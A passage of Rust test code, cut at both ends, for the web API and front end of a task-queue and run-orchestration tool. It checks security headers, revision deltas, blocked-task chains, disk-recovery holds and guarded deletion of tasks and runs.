23154 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
23155 );
23156
23157 let doc = fx
23159 .get(&format!("/api/questions/{id}/panel/index.html"))
23160 .await;
23161 assert_eq!(doc.status, 200, "{}", doc.body);
23162 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
23163
23164 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
23165 assert_eq!(sibling.status, 200, "{}", sibling.body);
23166 assert_eq!(sibling.header("content-type"), Some("image/png"));
23167 assert_eq!(
23168 sibling.header("content-security-policy"),
23169 Some(PANEL_CSP),
23170 "the sibling route must carry the same policy as the asset route"
23171 );
23172
23173 assert_eq!(
23176 fx.head(&format!("/api/questions/{id}/panel")).await.status,
23177 200
23178 );
23179 }
23180
23181 #[test]
23182 fn delta_stamps_cover_add_update_remove_and_noop() {
23183 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
23184 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
23185 let delta = diff_stamps(&before, &after, 42);
23186 assert_eq!(delta.base, 42);
23187 assert_eq!(delta.changed, ["b", "c"]);
23188 assert_eq!(delta.removed, ["a"]);
23189 let same = diff_stamps(&after, &after, 43);
23190 assert!(same.changed.is_empty() && same.removed.is_empty());
23191 assert_ne!(stamps_revision(&before), stamps_revision(&after));
23192 let nanos: Stamps = [("b".into(), (2, 20))].into();
23193 let same_ms: Stamps = [("b".into(), (3, 20))].into();
23194 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
23195 assert_eq!(stamps_revision(&Stamps::new()), 0);
23196 }
23197
23198 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
23199 std::fs::create_dir_all(home.join("runs")).unwrap();
23200 Arc::new(
23201 Ui::new(
23202 Queue::at(home.join("queue")),
23203 Questions::at(home.join("questions")),
23204 Talks::at(home.join("talks")),
23205 home.join("runs"),
23206 home.to_owned(),
23207 PathBuf::from("/repo/magi"),
23208 )
23209 .with_worktrees_root(home.join("wt")),
23210 )
23211 }
23212
23213 #[test]
23214 fn monitor_scan_isolates_store_failures_and_recovers() {
23215 let home = TempDir::new().unwrap();
23216 let ui = delta_test_ui(home.path());
23217 std::fs::create_dir_all(ui.questions.root()).unwrap();
23218 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
23219 let before = monitor_scan(&ui, None);
23220 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
23221 std::fs::write(ui.questions.root(), "not a directory").unwrap();
23222 std::fs::create_dir_all(ui.talks.root()).unwrap();
23223 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
23224 let during = monitor_scan(&ui, Some(before.clone()));
23225 assert_eq!(during.0.2, before.0.2);
23226 assert_ne!(during.0.3, before.0.3);
23227 assert!(during.1[2].contains_key("new"));
23228 std::fs::remove_file(ui.questions.root()).unwrap();
23229 let after = monitor_scan(&ui, Some(during));
23230 assert_eq!(after.0.2, 0);
23231 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
23232 std::fs::write(ui.questions.root(), "not a directory").unwrap();
23234 assert_ne!(monitor_scan(&ui, None).0.3, after.0.3);
23235 }
23236
23237 #[test]
23238 fn chat_status_cached_inventory_invalidates_on_store_failure_and_recovery() {
23239 let home = TempDir::new().unwrap();
23240 let ui = delta_test_ui(home.path());
23241 let root = ui.queue.root();
23242 std::fs::create_dir_all(root).unwrap();
23243 let before = monitor_scan(&ui, None);
23244 *ui.monitor.latest.lock().unwrap() = Some(before.clone());
23245 let status = || {
23246 chat_inventory(&ui)
23247 .status_of("chat", true, crate::chat_status::Goals::default(), false)
23248 .kind
23249 };
23250 assert_eq!(status(), crate::chat_status::Kind::Idle);
23251 std::fs::remove_dir(root).unwrap();
23252 std::fs::write(root, "not a directory").unwrap();
23253 let failed = monitor_scan(&ui, Some(before.clone()));
23254 assert_ne!(failed.0.3, before.0.3);
23255 *ui.monitor.latest.lock().unwrap() = Some(failed.clone());
23256 assert_eq!(status(), crate::chat_status::Kind::Unknown);
23257 std::fs::remove_file(root).unwrap();
23258 std::fs::create_dir(root).unwrap();
23259 let recovered = monitor_scan(&ui, Some(failed));
23260 *ui.monitor.latest.lock().unwrap() = Some(recovered);
23261 assert_eq!(status(), crate::chat_status::Kind::Idle);
23262 }
23263
23264 #[tokio::test]
23265 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
23266 let home = TempDir::new().unwrap();
23267 let ui = delta_test_ui(home.path());
23268 let mut task = Task::new(
23269 "stream task".into(),
23270 "text".into(),
23271 PathBuf::from("/repo"),
23272 Source::Human,
23273 );
23274 ui.queue.put(&mut task).unwrap();
23275 let response = events(State(ui.clone())).await.into_response();
23276 let mut stream = response.into_body().into_data_stream();
23277 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
23278 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
23279 .await
23280 .unwrap()
23281 .unwrap()
23282 .unwrap();
23283 let text = String::from_utf8(chunk.to_vec()).unwrap();
23284 let data = text
23285 .lines()
23286 .find_map(|line| {
23287 line.strip_prefix("data: ")
23288 .or_else(|| line.strip_prefix("data:"))
23289 })
23290 .unwrap();
23291 serde_json::from_str(data).unwrap()
23292 }
23293 let initial = change(&mut stream).await;
23294 assert!(initial.get("queue_delta").is_none());
23295 task.instruction.push_str(" changed");
23296 ui.queue.put(&mut task).unwrap();
23297 let updated = change(&mut stream).await;
23298 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
23299 assert_eq!(
23300 updated["queue_delta"]["changed"],
23301 serde_json::json!([task.id])
23302 );
23303 assert_eq!(
23304 updated["queue_rev"].as_u64(),
23305 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
23306 );
23307 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23308 let removed = change(&mut stream).await;
23309 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
23310 assert_eq!(
23311 removed["queue_delta"]["removed"],
23312 serde_json::json!([task.id])
23313 );
23314 }
23315
23316 #[tokio::test]
23317 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
23318 let home = TempDir::new().unwrap();
23319 let ui = delta_test_ui(home.path());
23320 let queue = ui.queue.clone();
23321 let query = |ids: Option<&str>| {
23322 Query(ListQuery {
23323 limit: Some(2),
23324 ids: ids.map(str::to_owned),
23325 })
23326 };
23327 let mut root = Task::new(
23328 "root".into(),
23329 "instruction".into(),
23330 PathBuf::from("/repo"),
23331 Source::Human,
23332 );
23333 queue.put(&mut root).unwrap();
23334 let mut blocked = Task::new(
23335 "blocked".into(),
23336 "instruction".into(),
23337 PathBuf::from("/repo"),
23338 Source::Human,
23339 );
23340 blocked.block(vec![root.id.clone()], None);
23341 queue.put(&mut blocked).unwrap();
23342 let whole =
23343 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
23344 .unwrap();
23345 let subset = serde_json::to_value(
23346 queue_list(State(ui.clone()), query(Some(&root.id)))
23347 .await
23348 .unwrap()
23349 .0,
23350 )
23351 .unwrap();
23352 assert_eq!(whole, subset, "requested root plus its blocked dependent");
23353 let blockers = serde_json::to_value(
23354 queue_list(State(ui.clone()), query(Some("")))
23355 .await
23356 .unwrap()
23357 .0,
23358 )
23359 .unwrap();
23360 assert_eq!(blockers.as_array().unwrap().len(), 1);
23361 assert_eq!(blockers[0]["id"], blocked.id);
23362 assert_eq!(
23363 blockers[0]["waits_on"],
23364 whole
23365 .as_array()
23366 .unwrap()
23367 .iter()
23368 .find(|row| row["id"] == blocked.id)
23369 .unwrap()["waits_on"]
23370 );
23371
23372 for id in [
23373 "20260902-140501-aaaa",
23374 "20260902-140502-bbbb",
23375 "20260902-140503-cccc",
23376 ] {
23377 write_run(&ui.runs, id, RunStatus::Merged);
23378 }
23379 let old = serde_json::to_value(
23380 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
23381 .await
23382 .unwrap()
23383 .0,
23384 )
23385 .unwrap();
23386 assert!(
23387 old.as_array().unwrap().is_empty(),
23388 "older updates must not enter the window"
23389 );
23390 let newest = serde_json::to_value(
23391 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
23392 .await
23393 .unwrap()
23394 .0,
23395 )
23396 .unwrap();
23397 assert_eq!(newest.as_array().unwrap().len(), 1);
23398 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
23399
23400 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
23401 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
23402 let talks = serde_json::to_value(
23403 talks_list(
23404 State(ui.clone()),
23405 query(Some("20260905-000000-d4e5")),
23406 header::HeaderMap::new(),
23407 )
23408 .await
23409 .unwrap()
23410 .0,
23411 )
23412 .unwrap();
23413 assert_eq!(talks.as_array().unwrap().len(), 1);
23414 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
23415 assert_eq!(
23416 serde_json::to_value(
23417 talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
23418 .await
23419 .unwrap()
23420 .0
23421 )
23422 .unwrap(),
23423 serde_json::json!([])
23424 );
23425 }
23426
23427 #[tokio::test]
23428 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
23429 async fn delta_payload_benchmark() {
23430 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
23431 let ui = delta_test_ui(&home);
23432 let query = |ids: Option<String>| {
23433 Query(ListQuery {
23434 limit: Some(50),
23435 ids,
23436 })
23437 };
23438 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
23439 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
23440 let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
23441 .await
23442 .unwrap()
23443 .0;
23444 let queue_id = queue
23445 .iter()
23446 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
23447 .unwrap_or(&queue[0])
23448 .task
23449 .id
23450 .clone();
23451 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
23452 .await
23453 .unwrap()
23454 .0;
23455 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
23456 .await
23457 .unwrap()
23458 .0;
23459 let talks_delta = talks_list(
23460 State(ui.clone()),
23461 query(Some(talks[0].id.clone())),
23462 header::HeaderMap::new(),
23463 )
23464 .await
23465 .unwrap()
23466 .0;
23467 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
23468 eprintln!(
23469 "DELTA_PAYLOAD {}",
23470 serde_json::json!({
23471 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
23472 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
23473 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
23474 "counts": [queue.len(), runs.len(), talks.len()],
23475 "blocked": queue_delta.len() - 1,
23476 })
23477 );
23478 }
23479
23480 #[test]
23481 fn runs_revision_moves_when_deleting_an_older_run() {
23482 let temp = TempDir::new().expect("tempdir");
23483 let runs = temp.path().join("runs");
23484 std::fs::create_dir_all(&runs).expect("create runs dir");
23485
23486 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
23487
23488 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
23489 std::thread::sleep(Duration::from_millis(10));
23490 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
23491
23492 let rev_before = runs_revision(&runs);
23493 assert!(rev_before > 0);
23494
23495 let old_dir = runs.join("20260901-100000-old1");
23496 std::fs::remove_dir_all(&old_dir).expect("remove old run");
23497
23498 let rev_after = runs_revision(&runs);
23499 assert_ne!(
23500 rev_before, rev_after,
23501 "deleting an older run must change the revision so other clients see the deletion"
23502 );
23503 }
23504
23505 fn write_state(runs: &FsPath, state: &RunState) {
23510 let dir = runs.join(&state.id);
23511 std::fs::create_dir_all(&dir).expect("run dir");
23512 std::fs::write(
23513 dir.join("run.json"),
23514 serde_json::to_string_pretty(state).expect("serialize run"),
23515 )
23516 .expect("write run.json");
23517 }
23518
23519 #[test]
23524 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
23525 let temp = TempDir::new().expect("tempdir");
23526 let runs = temp.path().join("runs");
23527 std::fs::create_dir_all(&runs).expect("create runs dir");
23528 let mut state = RunState::new(
23529 PathBuf::from("/repo/magi"),
23530 "main".to_owned(),
23531 "0123456789abcdef".to_owned(),
23532 "task".to_owned(),
23533 Config::default(),
23534 );
23535 state.id = "20260902-100000-c0de".to_owned();
23536 write_state(&runs, &state);
23537
23538 let rev_idle = runs_revision(&runs);
23539 std::thread::sleep(Duration::from_millis(10));
23540 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
23541 write_state(&runs, &state);
23542 let rev_started = runs_revision(&runs);
23543 assert_ne!(
23544 rev_idle, rev_started,
23545 "a seat starting must move the revision"
23546 );
23547
23548 std::thread::sleep(Duration::from_millis(10));
23549 state.seat_finished("judge-1");
23550 write_state(&runs, &state);
23551 let rev_finished = runs_revision(&runs);
23552 assert_ne!(
23553 rev_started, rev_finished,
23554 "and clearing it again must move the revision a second time"
23555 );
23556 }
23557
23558 #[tokio::test]
23559 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
23560 let fx = Fixture::start().await;
23565 let q = fx.queue();
23566
23567 let mut t = Task::new(
23568 "Task".to_owned(),
23569 "Instruction".to_owned(),
23570 PathBuf::from("/repo"),
23571 Source::Human,
23572 );
23573 t.block(
23574 vec!["20260101-000000-dead".to_owned()],
23575 Some("waiting on Task 1".to_owned()),
23576 );
23577 t.answers.push(crate::queue::AnsweredQuestion {
23578 question: "Which backend?".to_owned(),
23579 answer: "SQLite".to_owned(),
23580 });
23581 q.put(&mut t).expect("put t");
23582
23583 let res = fx.get("/api/queue").await;
23584 assert_eq!(res.status, 200);
23585 let list = res.json();
23586 let view = list
23587 .as_array()
23588 .expect("array")
23589 .iter()
23590 .find(|v| v["id"] == t.id)
23591 .expect("task in list");
23592 assert_eq!(view["status_str"], "blocked");
23593 assert_eq!(
23594 view["blocked_by"],
23595 serde_json::json!(["20260101-000000-dead"])
23596 );
23597 assert_eq!(view["block_reason"], "waiting on Task 1");
23598 assert_eq!(view["answers"][0]["question"], "Which backend?");
23599 assert_eq!(view["answers"][0]["answer"], "SQLite");
23600
23601 let res = fx
23605 .post(&format!("/api/queue/{}/hold", t.short()), None)
23606 .await;
23607 assert_eq!(res.status, 200);
23608 let held = res.json();
23609 assert_eq!(held["status_str"], "held");
23610 assert_eq!(held["blocked_by"], serde_json::json!([]));
23611 assert!(held["block_reason"].is_null());
23612 assert_eq!(held["answers"][0]["answer"], "SQLite");
23613 }
23614
23615 #[tokio::test]
23616 async fn task_recovery_pending_decisions_block_disk_autoresume() {
23617 let fx = Fixture::start().await;
23618 let queue = fx.queue();
23619 let questions = fx.questions();
23620 let mut task = Task::new(
23621 "Disk recovery".into(),
23622 "Inspect".into(),
23623 PathBuf::from("/repo"),
23624 Source::Human,
23625 );
23626 task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
23627 task.mark_disk_capacity();
23628 queue.put(&mut task).unwrap();
23629 let mut records = Vec::new();
23630 for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
23631 let mut q = Question::new(
23632 task.id.clone(),
23633 node.into(),
23634 "triage".into(),
23635 "Resume recovery?".into(),
23636 String::new(),
23637 vec![],
23638 );
23639 q.routed_task = Some(task.id.clone());
23640 questions.put(&mut q).unwrap();
23641 records.push(q);
23642 }
23643 let url = format!("/api/queue/{}", task.id);
23644 let view = fx.get(&url).await.json();
23645 assert_eq!(view["status_str"], "held");
23646 assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23647 assert!(
23648 view["recovery"]
23649 .as_str()
23650 .unwrap()
23651 .contains("Disk recovery alone will not resume")
23652 );
23653 assert!(
23654 view["recovery"]
23655 .as_str()
23656 .unwrap()
23657 .contains("Disk wait (automatically monitored)")
23658 );
23659 for blocker in view["blockers"].as_array().unwrap() {
23660 assert!(blocker["destination"].is_null());
23661 assert!(
23662 blocker["next"]
23663 .as_str()
23664 .unwrap()
23665 .contains("pending delivery")
23666 );
23667 }
23668 for q in &mut records {
23669 q.routed_chat = Some("owning-chat".into());
23670 questions.put(q).unwrap();
23671 }
23672 let view = fx.get(&url).await.json();
23673 for blocker in view["blockers"].as_array().unwrap() {
23674 assert_eq!(
23675 blocker["destination"],
23676 serde_json::json!(["chat", "owning-chat"])
23677 );
23678 assert_eq!(blocker["resolves_itself"], false);
23679 }
23680 for q in &mut records {
23682 q.status = ask::QuestionStatus::Answered;
23683 questions.put(q).unwrap();
23684 }
23685 assert!(crate::triage::pending_for(&questions, &task));
23686 let view = fx.get(&url).await.json();
23687 assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23688 assert!(
23689 view["blockers"][0]["next"]
23690 .as_str()
23691 .unwrap()
23692 .contains("not yet applied")
23693 );
23694 for q in &records {
23695 task.mark_triage_applied(&q.id);
23696 }
23697 queue.put(&mut task).unwrap();
23698 assert!(!crate::triage::pending_for(&questions, &task));
23699 assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
23700 assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
23701 }
23702
23703 #[test]
23704 fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
23705 use crate::queue::HoldSource;
23706 let mut task = Task::new(
23707 "Recovery".into(),
23708 "Inspect".into(),
23709 PathBuf::from("/repo"),
23710 Source::Human,
23711 );
23712 assert!(task_recovery(&task).is_none());
23713 task.hold_manual(Some("Operator paused".into()));
23714 assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
23715 task.block(vec!["dependency".into()], Some("Decision needed".into()));
23716 let text = task_recovery(&task).unwrap();
23717 assert!(text.contains("restores held"));
23718 assert!(text.contains("clears its dependency references"));
23719 task.hold_source = Some(HoldSource::Machine);
23720 task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
23721 task.mark_disk_capacity();
23722 let view = TaskView::with_inventory(
23723 task.clone(),
23724 &crate::blockers::Inventory::new(vec![task.clone()], &[]),
23725 );
23726 let json = serde_json::to_value(view).unwrap();
23727 assert_eq!(json["block_reason"], "Decision needed");
23728 assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
23729 let recovery = json["recovery"].as_str().unwrap();
23730 assert!(recovery.contains("not current capacity"));
23731 assert!(recovery.contains("triage rechecks"));
23732 assert_eq!(json["blockers"][0]["state"], "missing");
23733 task.blocked_from = Some(TaskStatus::Queued);
23734 assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
23735 task.blocked_from = None;
23736 assert!(task_recovery(&task).unwrap().contains("restores held"));
23737 }
23738
23739 #[tokio::test]
23740 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
23741 let fx = Fixture::start().await;
23742 let q = fx.queue();
23743 let mk = |title: &str| {
23744 Task::new(
23745 title.to_owned(),
23746 "Instruction".to_owned(),
23747 PathBuf::from("/repo"),
23748 Source::Human,
23749 )
23750 };
23751 let mut root = mk("root");
23752 root.hold_manual(Some("waiting".to_owned()));
23753 q.put(&mut root).unwrap();
23754 let mut mid = mk("mid");
23755 mid.block(vec![root.id.clone()], None);
23756 q.put(&mut mid).unwrap();
23757 let mut leaf = mk("leaf");
23758 leaf.block(vec![mid.id.clone()], None);
23759 q.put(&mut leaf).unwrap();
23760
23761 let list = fx.get("/api/queue").await.json();
23762 let find = |id: &str| {
23763 list.as_array()
23764 .unwrap()
23765 .iter()
23766 .find(|v| v["id"] == id)
23767 .unwrap()
23768 .clone()
23769 };
23770 let leaf_view = find(&leaf.id);
23771 assert_eq!(
23772 leaf_view["waits_on"],
23773 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
23774 );
23775 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
23776 assert_eq!(
23777 find(&mid.id)["waits_on"],
23778 serde_json::json!([format!("{} (held)", root.short())])
23779 );
23780 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
23781 }
23782
23783 #[tokio::test]
23784 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
23785 let fx = Fixture::start().await;
23786 let q = fx.queue();
23787
23788 let mut t1 = Task::new(
23790 "Task 1".to_owned(),
23791 "Instruction 1".to_owned(),
23792 PathBuf::from("/repo"),
23793 Source::Human,
23794 );
23795 let run_id = "20260901-000000-r111";
23796 t1.runs.push(run_id.to_owned());
23797 write_run(&fx.runs(), run_id, RunStatus::Merged);
23798 q.put(&mut t1).expect("put t1");
23799
23800 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
23802 assert_eq!(res.status, 204);
23803 assert!(res.body.is_empty(), "204 No Content has no body");
23804 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
23805 assert!(
23806 fx.runs().join(run_id).exists(),
23807 "run directory must not be deleted when its task is deleted"
23808 );
23809
23810 let mut t2 = Task::new(
23812 "Task 2".to_owned(),
23813 "Instruction 2".to_owned(),
23814 PathBuf::from("/repo"),
23815 Source::Human,
23816 );
23817 t2.status = TaskStatus::Running;
23818 q.put(&mut t2).expect("put t2");
23819 let mut beat = crate::daemon::Status::new();
23820 beat.current = vec![crate::daemon::Current {
23821 worker: None,
23822 task: t2.id.clone(),
23823 run: "20260901-000000-r222".to_owned(),
23824 }];
23825 beat.updated_at = jiff::Timestamp::now();
23826 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23827 .expect("publish a heartbeat");
23828 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
23829 assert_eq!(res.status, 409);
23830 assert!(
23831 res.json()["error"]
23832 .as_str()
23833 .unwrap()
23834 .contains("live daemon")
23835 );
23836 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
23837
23838 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
23844 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23845 .expect("leave a stale heartbeat");
23846 let mut t3 = Task::new(
23847 "Task 3".to_owned(),
23848 "Instruction 3".to_owned(),
23849 PathBuf::from("/repo"),
23850 Source::Human,
23851 );
23852 t3.status = TaskStatus::Running;
23853 q.put(&mut t3).expect("put t3");
23854 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
23855 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
23856 assert_eq!(res.status, 204);
23857 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
23858 assert!(
23859 q.claim(&t3.id).is_ok(),
23860 "the stale lock went with it, so the id is claimable again"
23861 );
23862
23863 let res = fx.delete("/api/queue/nonexistent").await;
23865 assert_eq!(res.status, 404);
23866 }
23867
23868 #[tokio::test]
23869 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
23870 let fx = Fixture::start().await;
23871 let runs = fx.runs();
23872
23873 let run_id = "20260901-000000-fold";
23875 let mut state = RunState::new(
23876 PathBuf::from("/repo"),
23877 "main".to_owned(),
23878 "abc".to_owned(),
23879 "instruction".to_owned(),
23880 Config::default(),
23881 );
23882 state.id = run_id.to_owned();
23883 state.status = RunStatus::Merged;
23884 state.candidates.push(crate::run::Candidate {
23885 index: 0,
23886 label: 'A',
23887 agent: "a".to_owned(),
23888 branch: "b".to_owned(),
23889 worktree: PathBuf::from("/w"),
23890 summary: String::new(),
23891 stat: String::new(),
23892 files: 1,
23893 commits: 1,
23894 empty: false,
23895 failed: None,
23896 verified_noop: None,
23897 duration_ms: 0,
23898 folded: true,
23899 });
23900 let dir = runs.join(run_id);
23901 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
23902 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
23903 .expect("write artifact");
23904 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
23905 .expect("write run.json");
23906
23907 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
23909 assert_eq!(res.status, 204);
23910 assert!(res.body.is_empty(), "204 has no body");
23911 assert!(!dir.exists(), "run directory and artifacts must be deleted");
23912
23913 let run_running = "20260901-000000-rung";
23918 write_run(&runs, run_running, RunStatus::Prep);
23919 let mut beat = crate::daemon::Status::new();
23920 beat.current = vec![crate::daemon::Current {
23921 worker: None,
23922 task: "20260901-000000-task".to_owned(),
23923 run: run_running.to_owned(),
23924 }];
23925 beat.updated_at = jiff::Timestamp::now();
23926 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23927 .expect("publish a heartbeat");
23928 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
23929 assert_eq!(res.status, 409);
23930 assert!(
23931 res.json()["error"]
23932 .as_str()
23933 .unwrap()
23934 .contains("live daemon"),
23935 "the refusal must say who is holding it"
23936 );
23937 assert!(
23938 runs.join(run_running).exists(),
23939 "a run in flight keeps its directory"
23940 );
23941
23942 let run_unfolded = "20260901-000000-unfd";
23944 let mut state2 = RunState::new(
23945 PathBuf::from("/repo"),
23946 "main".to_owned(),
23947 "abc".to_owned(),
23948 "instruction".to_owned(),
23949 Config::default(),
23950 );
23951 state2.id = run_unfolded.to_owned();
23952 state2.status = RunStatus::Ready;
23953 state2.candidates.push(crate::run::Candidate {
23954 index: 0,
23955 label: 'A',
23956 agent: "a".to_owned(),
23957 branch: "b".to_owned(),
23958 worktree: PathBuf::from("/w"),
23959 summary: String::new(),
23960 stat: String::new(),
23961 files: 1,
23962 commits: 1,
23963 empty: false,
23964 failed: None,
23965 verified_noop: None,
23966 duration_ms: 0,
23967 folded: false,
23968 });
23969 let dir2 = runs.join(run_unfolded);
23970 std::fs::create_dir_all(&dir2).expect("create dir2");
23971 std::fs::write(
23972 dir2.join("run.json"),
23973 serde_json::to_string(&state2).unwrap(),
23974 )
23975 .expect("write run.json");
23976
23977 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
23978 assert_eq!(res.status, 409);
23979 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
23980 assert!(dir2.exists(), "unfolded run directory is kept");
23981
23982 let res = fx.delete("/api/runs/nonexistent").await;
23984 assert_eq!(res.status, 404);
23985 }
23986
23987 #[test]
23996 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
23997 let start = APP_JS
23998 .find("function renderStats() {")
23999 .expect("renderStats");
24000 let end = start
24001 + APP_JS[start..]
24002 .find("function statsTile(")
24003 .expect("the next top-level function");
24004 let body = &APP_JS[start..end];
24005
24006 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
24007 let gate_end = gate_start
24008 + body[gate_start..]
24009 .find("}\n renderStatsQueue")
24010 .expect("the gate's own closing brace, right before the unconditional call");
24011 let gated = &body[gate_start..gate_end];
24012
24013 assert_eq!(
24014 body.matches("renderStatsQueue(").count(),
24015 1,
24016 "renderStats must call renderStatsQueue exactly once: {body}"
24017 );
24018 assert!(
24019 !gated.contains("renderStatsQueue"),
24020 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
24021 run-derived panels on an empty run history - the queue panel has to render \
24022 regardless: {gated}"
24023 );
24024 }
24025
24026 #[test]
24027 fn web_ui_delete_contract_in_front_end() {
24028 assert!(APP_JS.contains("deleteRun:"));
24030 assert!(APP_JS.contains("deleteTask:"));
24031
24032 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
24034 ..APP_JS.find("function renderRuns").unwrap()];
24035 assert!(!run_cards_slice.to_lowercase().contains("delete"));
24036
24037 assert!(APP_JS.contains("renderRunDelete"));
24039 assert!(APP_JS.contains("runDeleteReason"));
24040 assert!(APP_JS.contains("magi fold"));
24041 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
24042
24043 assert!(APP_JS.contains("cancel.focus"));
24045 assert!(APP_JS.contains("armedRunDelete"));
24046 assert!(APP_JS.contains("renderTaskDeleteBox"));
24047 assert!(APP_JS.contains("armed${cap(key)}"));
24048
24049 assert!(APP_JS.contains("disabled: status === \"running\""));
24051 }
24052
24053 #[test]
24073 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
24074 let build = APP_JS
24075 .find("function createRunCard")
24076 .expect("createRunCard exists");
24077 let update = APP_JS
24078 .find("function updateRunCard")
24079 .expect("updateRunCard exists");
24080 let end = APP_JS
24081 .find("function renderRuns")
24082 .expect("renderRuns exists");
24083
24084 let builder = &APP_JS[build..update];
24086 let open = builder.find("refs = {").expect("createRunCard sets refs");
24087 let literal = &builder[open + "refs = {".len()..];
24088 let close = literal.find('}').expect("the refs literal is closed");
24089 let published: HashSet<&str> = literal[..close]
24090 .split(',')
24091 .filter_map(|entry| entry.split(':').next())
24093 .map(str::trim)
24094 .filter(|name| !name.is_empty())
24095 .collect();
24096 assert!(
24097 published.len() > 5,
24098 "the refs literal did not parse into names: {published:?}"
24099 );
24100
24101 let mut used: Vec<&str> = Vec::new();
24104 let updaters = &APP_JS[update..end];
24105 for (at, _) in updaters.match_indices("r.") {
24106 let before = updaters[..at].chars().next_back();
24109 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
24110 continue;
24111 }
24112 let rest = &updaters[at + 2..];
24113 let len = rest
24114 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
24115 .unwrap_or(rest.len());
24116 if len > 0 {
24117 used.push(&rest[..len]);
24118 }
24119 }
24120 assert!(
24121 used.len() > 5,
24122 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
24123 );
24124
24125 let missing: Vec<&str> = used
24126 .iter()
24127 .copied()
24128 .filter(|name| !published.contains(name))
24129 .collect();
24130 assert!(
